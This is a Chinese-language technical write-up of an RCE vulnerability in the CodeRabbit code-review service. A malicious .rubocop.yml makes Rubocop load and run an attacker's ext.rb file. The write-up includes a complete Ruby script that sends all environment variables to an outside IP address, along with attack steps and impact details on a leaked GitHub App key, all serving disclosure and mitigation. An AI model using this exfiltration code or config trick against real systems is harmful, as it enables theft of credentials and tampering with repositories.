1. 簡介

本報告詳細描述了在CodeRabbit(一種人工智慧驅動的程式碼審查工具)中發現的漏洞的技術面向。此漏洞允許遠端程式碼執行(Remote Code Execution, RCE)以及對大量程式碼儲存庫的未授權讀寫存取。本分析聚焦於漏洞的技術機制、相關組件以及潛在影響,旨在提供對自動化程式碼審查系統中類似安全挑戰的洞察。

我們如何駭入CodeRabbit:透過Rubocop實現RCE並存取數百萬儲存庫 | 資訊安全新聞

2. CodeRabbit概覽

CodeRabbit作為一種人工智慧程式碼審查工具,與GitHub和GitLab等平台整合,以自動化分析Pull Request的程式碼。它會審查程式碼變更,識別潛在問題,提出改進建議,甚至可以生成圖表。該工具與各種靜態分析工具和linters整合的能力是其運作的核心 [1]。

3. 漏洞分析:利用外部工具

漏洞的核心在於CodeRabbit執行外部靜態分析工具。該平台支援多種此類工具,可通過儲存庫中的 .coderabbit.yaml 檔案進行設定。一個關鍵發現是這些工具可被設定為讀取外部設定檔案。如果某個工具被誘導載入惡意設定檔案,這就開啟了任意程式碼執行的途徑。

3.1. Rubocop漏洞

Rubocop,一種Ruby靜態分析器,被確認有漏洞的組件。CodeRabbit的說明文件指出,Rubocop會處理Ruby檔案( .rb ),並在儲存庫中尋找 .rubocop.yml 設定檔案。關鍵在於,Rubocop支援「擴展」,允許指定外部Ruby檔案(例如 ext.rb )的路徑以載入並執行 [1]。

此機制允許攻擊者在 ext.rb 檔案中注入任意Ruby程式碼,Rubocop在分析過程中會執行該程式碼。以下程式碼片段展示了一個惡意的 ext.rb 如何將環境變數外洩至攻擊者控制的伺服器:

  1. require 'net/http'
  2. require 'uri'
  3. require 'json'
  4. # Collect environment variables
  5. env_vars = ENV.to_h
  6. # Convert environment variables to JSON format
  7. json_data = env_vars.to_json
  8. # Define the URL to send the HTTP POST request
  9. url = URI.parse('http://1.2.3.4/')
  10. begin
  11. # Create the HTTP POST request
  12. http = Net::HTTP.new(url.host, url.port)
  13. request = Net::HTTP::Post.new(url.path)
  14. request['Content-Type'] = 'application/json'
  15. request.body = json_data
  16. # Send the request
  17. response = http.request(request)
  18. rescue StandardError => e
  19. puts "An error occurred: #{e.message}"
  20. end

此Ruby腳本利用標準函式庫( net/http uri json )收集所有環境變數( ENV.to_h ),將其轉換為JSON格式,然後通過HTTP POST請求發送到指定的URL。這展示了一條通過操縱可信工具的執行流程進行資料外洩和遠端程式碼執行的明確路徑。

3.2. 攻擊步驟

攻擊過程涉及以下步驟 [1]:

  1. CodeRabbit設定 :註冊CodeRabbit帳戶並授予其對私有GitHub儲存庫的存取權限。
  2. Malicious Pull Request :建立包含以下內容的 Pull Request:
    • 一個 .rubocop.yml 檔案,指示Rubocop載入外部Ruby檔案( ext.rb )。
    • 包含環境變數外洩 Ruby 程式碼的惡意 ext.rb 檔案。
    • 一個觸發 Rubocop 執行的虛擬 Ruby 檔案( main.rb )。
  3. 執行 :CodeRabbit 處理 Pull Request,觸發 Rubocop,進而執行惡意的 ext.rb
  4. 資料外洩 :CodeRabbit 伺服器的環境變數被發送到攻擊者的伺服器。

3.3. 利用流程圖

graph TD
    A[Attacker] --> B{Create Malicious PR};
    B --> C[Repository with 
.rubocop.yml and ext.rb]; C --> D{CodeRabbit processes PR}; D --> E[CodeRabbit executes
Rubocop]; E --> F{Rubocop loads and
executes ext.rb}; F --> G[ext.rb exfiltrates
ENV vars]; G --> A;

4. 環境變數外洩的影響

外洩的環境變數包含高度敏感的資訊,包括各種API key、秘密(Secrets)和資料庫認證。此級別的存取允許進行重大危害,包括:

  • API Keys :存取Anthropic、OpenAI、GitLab、Jira等API key,允許未授權使用這些服務。
  • GitHub應用程式私鑰 :此key( GITHUB_APP_PEM_FILE )尤為關鍵,因為它授予對所有安裝了CodeRabbit應用的儲存庫的讀寫存取權限。這可能包括數百萬個儲存庫。
  • 資料庫認證 :PostgreSQL資料庫主機、使用者名稱和密碼,允許直接存取CodeRabbit的內部資料。

4.1. 存取儲存庫

GITHUB_APP_PEM_FILE 允許攻擊者通過GitHub REST API進行身份驗證,並代表CodeRabbit GitHub 應用程式(app)執行操作。這實際上授予了對所有授予CodeRabbit權限的儲存庫的讀寫存取權限。CodeRabbit應用程式通常被授予的權限包括 actions: read checks: read contents: write discussions: read issues: write members: read metadata: read pull_requests: write statuses: write [1]。

這廣泛的權限集使攻擊者能夠:

  • 列出CodeRabbit應用程式的所有安裝。
  • 列出特定CodeRabbit安裝可存取的所有GitHub儲存庫。
  • 生成對這些儲存庫有效的存取token。
  • 執行諸如讀寫程式碼、管理Pull Request以及在大量儲存庫中操作問題等行動。

4.2. 權限流程圖

graph TD
    A[CodeRabbit GitHub App] --> B{GITHUB_APP_PEM_FILE};
    B --> C[Authenticate with GitHub API];
    C --> D{Access Repositories}; 
    D --> E[Read/Write Code];
    D --> F[Manage Pull Requests];
    D --> G[Manipulate Issues];

5. 技術緩解措施

CodeRabbit對漏洞的回應包括幾項關鍵緩解措施 [1]:

  • 停用Rubocop :在永久修復之前暫時停用Rubocop。
  • 認證輪替 :所有可能受影響的認證和秘密均已輪替。
  • 安全沙箱環境 :將Rubocop和其他外部工具轉移到安全的沙箱環境中,以隔離其執行並防止類似的RCE漏洞。
  • 系統審計與強制執行 :對系統進行全面審計,確保無服務在沙箱保護之外運行,自動化沙箱強制執行,並強化部署閘道以防止再次發生。

這些措施凸顯了對外部工具執行進行穩健沙箱化的重要性,以及在與敏感程式碼儲存庫互動的系統中進行全面認證管理的重要性。

6. 結論

CodeRabbit漏洞展示了一個自動化程式碼審查系統中的關鍵攻擊向量:利用外部工具。通過利用看似無害的功能(linters的外部設定檔案),攻擊者可以實現遠端程式碼執行並獲得對敏感資料和數百萬程式碼儲存庫的廣泛存取權限。此案例強調了嚴格的安全實踐的必要性,包括安全的沙箱化、嚴格的輸入驗證和全面的認證管理,以防範現代開發工作流程中的複雜供應鏈攻擊。